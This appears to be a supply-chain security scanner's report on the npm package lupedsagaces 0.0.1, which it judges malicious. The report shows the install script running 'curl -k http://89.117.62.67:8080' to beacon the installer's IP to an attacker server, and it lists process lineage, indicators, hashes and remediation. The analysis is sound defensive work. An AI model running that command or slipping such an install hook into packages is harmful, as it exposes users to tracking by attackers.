Skip to content
Open-Source Registry

npm / lupedsagaces

lupedsagaces 0.0.1

bitbison: flagged, behavior flagged, dependencies clean, posture not checked, pipeline clean, 1 of 1 jobs captured RiskhighVulnsnone
processes
629
operations
9.3K
packages
1
compiler runs
0
connections
2
build time
4s
job time
4s
capture
92 KB
records
15K
bytes / record
6.2
published 2026-11-05 View on npm
Reviewed by Bitbison: maliciouslupedsagaces 0.0.1 exists only to beacon the installing machine's IP address to an attacker-controlled server at 89.117.62.67:8080 during install.

Graph

egress · high
2

Checks

15 of 16 clear Network activity
Build behavior▲✓✓✓✓✓✓✓✓✓
Supply chain✓✓✓✓✓
Pipeline✓

Detections

1
  • Build script connected to an address it never looked up: 89.117.62.67:8080
    89.117.62.67:8080 › 89.117.62.67:8080
    high

Detection

highwitnessed

Build script connected to an address it never looked up: 89.117.62.67:8080

Unexpected network connection

Subject
89.117.62.67:8080
Destination
89.117.62.67:8080
Jobs
install
Rule
egress

Evidence

  1. Connection outside the process’s allowed destinationscause

    connection to 89.117.62.67:8080, opened by curl

    subject 89.117.62.67:8080

    by curl -k http://89.117.62.67:8080

  2. What a build script's fetch becamesupport

    1 file came down; nothing the build compiled, linked or ran

  3. Connection opened by a build script or child processsupport

    the opener descends from the build script at sh -c curl -k http://89.117.62.67:8080

  4. Tool commandsupport

    Command: curl -k http://89.117.62.67:8080

    by curl -k http://89.117.62.67:8080

  5. Address dialled without a lookupsupport

    curl dialled 89.117.62.67:8080, which no lookup in this capture answered with

    subject 89.117.62.67:8080

What came before it

Loading the graph

Processes

install

env›node›sh›curl

Ran
curl -k http://89.117.62.67:8080
Invoked by
/usr/bin/env node /usr/local/bin/npm install --foreground-scripts
Lineage · 4 processes
  1. env/usr/bin/env node /usr/local/bin/npm install --foreground-scripts1370
  2. nodenode /usr/local/bin/npm install --foreground-scripts1370
  3. shsh -c curl -k http://89.117.62.67:80801382
  4. curlcurl -k http://89.117.62.67:80801383

Remediation

A dependency's build dialled an address written into its code, not a name it resolved. Review what the build could read and send, rotate any credential it could reach, and pin or replace the dependency.

Network

2 peers
  • 89.117.62.67:8080 lupedsagaces's own build code · curl · Contabo GmbH · 1 file undeclared
  • registry.npmjs.org:8080 the package manager · node (consumer) · 8 files ecosystem

Dependencies

1
Dependencies1Build behaviour
consumer1.0.0

Versions2

Raw data

capture
92 KB
records
14,864
bytes per record
6.2

Loading a sample of the capture

Want to see more? E-mail us at hello@bitbison.io about your use case.

1 of 1 jobs captured: install success · Generated 2026-11-05 · run beb2a1d4-38f7-427e-ab6e-e5bac88fe997

analysis 0.1.0 · 2026-11-04 · bfee307 · graph v2

Bitbison's review

Installing lupedsagaces sends the installer's IP address to 89.117.62.67

Conclusion
malicious
Covers
0.0.1 and 0.0.0-stage
Reviewed by
Bitbison
Updated
2026-11-07

lupedsagaces 0.0.1 exists only to beacon the installing machine's IP address to an attacker-controlled server at 89.117.62.67:8080 during install.

Indicators

hosts
89.117.62.67:8080
files
package.jsonserver.pyevidencias/poc-access.jsonlevidencias/poc-access.dblogs/poc-access.log
processes
curl -k http://89.117.62.67:8080

What was examined

0.0.0-stage
sha256:99f275505fd4181ad39f81304cfa6e954e88d750cbbb3e3f8f678097ff2f131f
0.0.1
sha256:78c327e2329adc8943006e6abe2254cf6d5d1004b3ca48704ee5f8c1feb643bf